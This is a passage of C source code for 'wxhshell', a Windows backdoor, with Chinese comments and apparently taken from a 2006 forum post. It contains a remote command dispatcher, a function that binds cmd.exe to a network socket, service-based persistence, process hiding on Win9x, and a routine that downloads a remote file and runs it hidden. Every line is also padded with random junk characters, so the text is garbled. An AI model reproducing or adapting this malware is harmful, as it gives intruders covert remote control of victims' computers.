  else { .+{nfmc,c  
!Bu<6  
    switch(cmd[0]) { |wVoJO!O}  
  UI>-5,X  
  // 帮助 %oC]Rpdu  
  case '?': { \=,+weGw@  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); B^{bXhDp  
    break; v|QFUa`  
  } B)ynF?"  
  // 安装 bpKMQrwd  
  case 'i': { 4lvo9R  
    if(Install()) }_5z(7}3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^>[DG]g  
    else q& 4Z.(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *R1x^t+)  
    break; !>9*$E |  
    } *"j_3vAx  
  // 卸载 G0y%_"[  
  case 'r': { B^$l]cvZ  
    if(Uninstall()) ?#slg8[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jVk|(  
    else ^x:4%%Q]l  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B]Yj"LM)  
    break; >:Q:+R;3o  
    } &&JI$x0;  
  // 显示 wxhshell 所在路径 "0zMx`Dh  
  case 'p': { QF[9Zn  
    char svExeFile[MAX_PATH]; _.Uz!2  
    strcpy(svExeFile,"\n\r"); iT9cw`A^%  
      strcat(svExeFile,ExeFile); b LSI\  
        send(wsh,svExeFile,strlen(svExeFile),0); ?aO%\<b  
    break; -aKL 78  
    } G}D?+MWY  
  // 重启 >D<nfG<s Z  
  case 'b': {  fB;'U  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 5 MQRb?[  
    if(Boot(REBOOT)) JL;H:`x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mj5A*%"W  
    else { A 7DdUNR  
    closesocket(wsh); l_^>spF  
    ExitThread(0); Z0`?  
    } 5g/^wKhKG  
    break; K2:r7f  
    } dA\>z[n=  
  // 关机 rYN`u  
  case 'd': { k_O"bsI)  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); j(Q$frI  
    if(Boot(SHUTDOWN)) ?uQ|?rk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .$v]B xu  
    else { :Q$3P+6a  
    closesocket(wsh); f_.1)O'83  
    ExitThread(0); |(XV '-~  
    } fa5($jJ&  
    break; hO{@!H$l  
    } )@SIFE  
  // 获取shell  jCKRoao  
  case 's': { JJ qX2B  
    CmdShell(wsh); V! "^6)  
    closesocket(wsh); t'm]E2/  
    ExitThread(0); G.B^C)guu  
    break; kFD-  
  } YF&SH)Y7  
  // 退出 [ .dNX  
  case 'x': { fp12-Hk ~  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); >SfC '*1  
    CloseIt(wsh); j] M)i:n  
    break; ~R!(%j ]  
    } s/P\w"/fN  
  // 离开 rYm<U!k  
  case 'q': { !4.;Ftgjn  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); )m5<gp`  
    closesocket(wsh); y<3v/ ,Y  
    WSACleanup(); G/<{:R"  
    exit(1); /:awPYGH<1  
    break; #c/v2  
        } \4zvknk<  
  } r]0o  
  } ;}|.crMF  
aoF>{Z4&B  
  // 提示信息 L)B?p!cdLT  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o L6[i'H|  
} r<C^hs&]  
  } o~es> ;  
z{!wQ~ j  
  return;  tEP^w  
} Kau*e8  
{6/%w,{,  
// shell模块句柄 /xsa-F  
int CmdShell(SOCKET sock) #docBsHX&s  
{ Dq2eX;c@  
STARTUPINFO si; .fD k5uo  
ZeroMemory(&si,sizeof(si)); QfwGf,0p  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3P-#NL  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; O]{H2&k@  
PROCESS_INFORMATION ProcessInfo; X8;03EW;  
char cmdline[]="cmd"; unD8h=Z2  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~xvQ?c ?-  
  return 0; fCEd :Kr  
} _}JygOew  
rR C3^X`u  
// 自身启动模式 .iew5.eB+  
int StartFromService(void) zq1&MXR)l  
{ ;'J L$=  
typedef struct /=7|FtB`  
{ Z$WT ~V  
  DWORD ExitStatus; -t*C-C'"|  
  DWORD PebBaseAddress; @}fnR(fS  
  DWORD AffinityMask; LGod"8~U  
  DWORD BasePriority; #o yvsS8  
  ULONG UniqueProcessId; bdcuO)3  
  ULONG InheritedFromUniqueProcessId; ~@got  
}   PROCESS_BASIC_INFORMATION; W"!nf  
06Uxd\E~  
PROCNTQSIP NtQueryInformationProcess; ;iS}<TA  
#axRg=d?K  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #3/l4`/j  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Zjo9c{\  
L{gFk{@W  
  HANDLE             hProcess; >u4uV8S   
  PROCESS_BASIC_INFORMATION pbi; `L9o !OsQ  
2ix_,yTO  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Yq5}r?N  
  if(NULL == hInst ) return 0; sV[|op  
&BE[=& |  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); s|{K?s  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); "?avb`YU'  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); q{ctHsQ(9  
7 ic]q,  
  if (!NtQueryInformationProcess) return 0; 4 &t6  
K90Zf  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); oMMU5sm  
  if(!hProcess) return 0; m41n5T`  
[N7[%iQ%  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; AvV.faa  
Bq:@ [pCQ  
  CloseHandle(hProcess); OWq~BZ{  
`yC R.3+  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); eJy@N  
if(hProcess==NULL) return 0; IOmIkx&`GP  
4>5%SzZT\3  
HMODULE hMod; -,5g cD  
char procName[255]; K5 w22L^=+  
unsigned long cbNeeded; %LVk%kz  
v3]q2*`G#  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); E176O[(V=  
d3n TJX  
  CloseHandle(hProcess); rp1 u  
IFv2S|  
if(strstr(procName,"services")) return 1; // 以服务启动 }#yRa Ip  
;W+.]_$6)T  
  return 0; // 注册表启动 w"l8M0$m  
} DI$z yj~3  
yY&(?6\{<<  
// 主模块 3q1O:b^eo  
int StartWxhshell(LPSTR lpCmdLine) J-\b?R a  
{ twO)b"0  
  SOCKET wsl; hc[GpZcw,  
BOOL val=TRUE; ~i  &K,  
  int port=0; VUNQ@{ST|1  
  struct sockaddr_in door; '0o`<xW  
uHf~KYL  
  if(wscfg.ws_autoins) Install(); aMz%H|/$  
{s`1+6_&Vz  
port=atoi(lpCmdLine); @cjhri|vH  
:Z< 5iLq  
if(port<=0) port=wscfg.ws_port; xaeY^"L  
I1}{7-_t  
  WSADATA data; %@BQv 4oJ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ]AHi$Xx  
Tzk8y 7$[  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   X2Lhb{ZHE  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); z%;\q$  
  door.sin_family = AF_INET; {yG)Ii  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 8D+OF 6CM  
  door.sin_port = htons(port); a)Wf* <B  
[e&$4l IS  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { slPFDBx  
closesocket(wsl); Pq_Il9  
return 1; 4Y)3<=kDG  
} x b_C1n  
4&$G;?#W2  
  if(listen(wsl,2) == INVALID_SOCKET) { b1 KiO2 E  
closesocket(wsl); nFB;!r  
return 1; WQK#&r*  
} ;^ /9sLW?#  
  Wxhshell(wsl); x]{h$yI  
  WSACleanup(); ]gmf%g'C  
?Rl*5GRW  
return 0; M_XZOlW5  
!-;Me&"I=`  
} h.7 1O"N  
m&$H ?yXW>  
// 以NT服务方式启动 Z-vzq;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ,,G0}N@7s  
{ U2Ur N?T  
DWORD   status = 0; }e@j(*8  
  DWORD   specificError = 0xfffffff; M(2[X/t  
h+Z|s  
  serviceStatus.dwServiceType     = SERVICE_WIN32; -6H)GK14b  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; JdV!m`XpXy  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; z2 dM*NMK  
  serviceStatus.dwWin32ExitCode     = 0; riBT5  
  serviceStatus.dwServiceSpecificExitCode = 0; S`*al<m  
  serviceStatus.dwCheckPoint       = 0; 6l>G>)  
  serviceStatus.dwWaitHint       = 0; F]ALZxwkz  
=1esUO[nx  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ]#*@<T*[  
  if (hServiceStatusHandle==0) return; +HfjnEbtBs  
|Y])|`_'G  
status = GetLastError(); 2cmqtlW"  
  if (status!=NO_ERROR) [&zP$i&  
{ i "-#1vy=  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; V K NCK  
    serviceStatus.dwCheckPoint       = 0; }`h}h<B(  
    serviceStatus.dwWaitHint       = 0; gB0)ec 0  
    serviceStatus.dwWin32ExitCode     = status; :#gz)r  
    serviceStatus.dwServiceSpecificExitCode = specificError; OOv"h\,  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); d-?~O~qD|!  
    return; }U #S*  
  } Y&j6;2-Z  
|RpC0I  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Ia(A&Za  
  serviceStatus.dwCheckPoint       = 0; $h$+EE!  
  serviceStatus.dwWaitHint       = 0; (te \!$  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); y k#:.5H  
} .<j8>1  
opIcSm&  
// 处理NT服务事件,比如:启动、停止 pw$I~3OFd  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 'l;?P  
{ |YlUt~H>  
switch(fdwControl) $[>wJXj3R  
{ CId`6W  
case SERVICE_CONTROL_STOP: ++kiCoC  
  serviceStatus.dwWin32ExitCode = 0; 5Pr<%}[S^  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 9Qkww&VEk  
  serviceStatus.dwCheckPoint   = 0; JEP"2MN,  
  serviceStatus.dwWaitHint     = 0; fNK~z*  
  { Tok"-$`N  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !?+3 jzG  
  } Lc.7:r  
  return; ~ h:^Q  
case SERVICE_CONTROL_PAUSE: ^< E,aCy  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; "~+K`*0r8  
  break; dIf Jr}ih  
case SERVICE_CONTROL_CONTINUE: t /47lYN)  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; [UI bO@e  
  break; ZPMEN,Dw  
case SERVICE_CONTROL_INTERROGATE: cdh1~'q/  
  break; v\HGL56T  
}; a1}W2;W0]g  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z>D7C?v:(  
} bh_ALu^CSX  
.Ftml'!  
// 标准应用程序主函数 A] F K\  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) S9L3/P]  
{ LEhi/>T  
(Q'XjN\#  
// 获取操作系统版本 ;wN.RPE_^  
OsIsNt=GetOsVer(); +g.WO5A  
GetModuleFileName(NULL,ExeFile,MAX_PATH);  c\x?k<=  
YJ"gm]Pm  
  // 从命令行安装 d)0%|yX6  
  if(strpbrk(lpCmdLine,"iI")) Install(); \{&55>  
gWlmQl  
  // 下载执行文件 ]ny(l#Hu:  
if(wscfg.ws_downexe) {  t]vz+VQ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) L8$7^muad  
  WinExec(wscfg.ws_filenam,SW_HIDE); sVC5<?OW!p  
} @ J"1 !`  
F1+2V"~  
if(!OsIsNt) { * r%  
// 如果时win9x,隐藏进程并且设置为注册表启动 LD6fi  
HideProc(); Z@h]dU5%a  
StartWxhshell(lpCmdLine); My[L3KTTp  
} 3!}#@<j  
else i$F)h<OU+  
  if(StartFromService()) $6J5yE  
  // 以服务方式启动 '2 )d9_ w  
  StartServiceCtrlDispatcher(DispatchTable); c^=:]^  
else 1XZ&X]  
  // 普通方式启动 NKMB,b  
  StartWxhshell(lpCmdLine); wHY;Y-(ZT  
e)iVX<qb  
return 0; u.arkp  
}
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只看该作者 1 发表于: 2006-10-10
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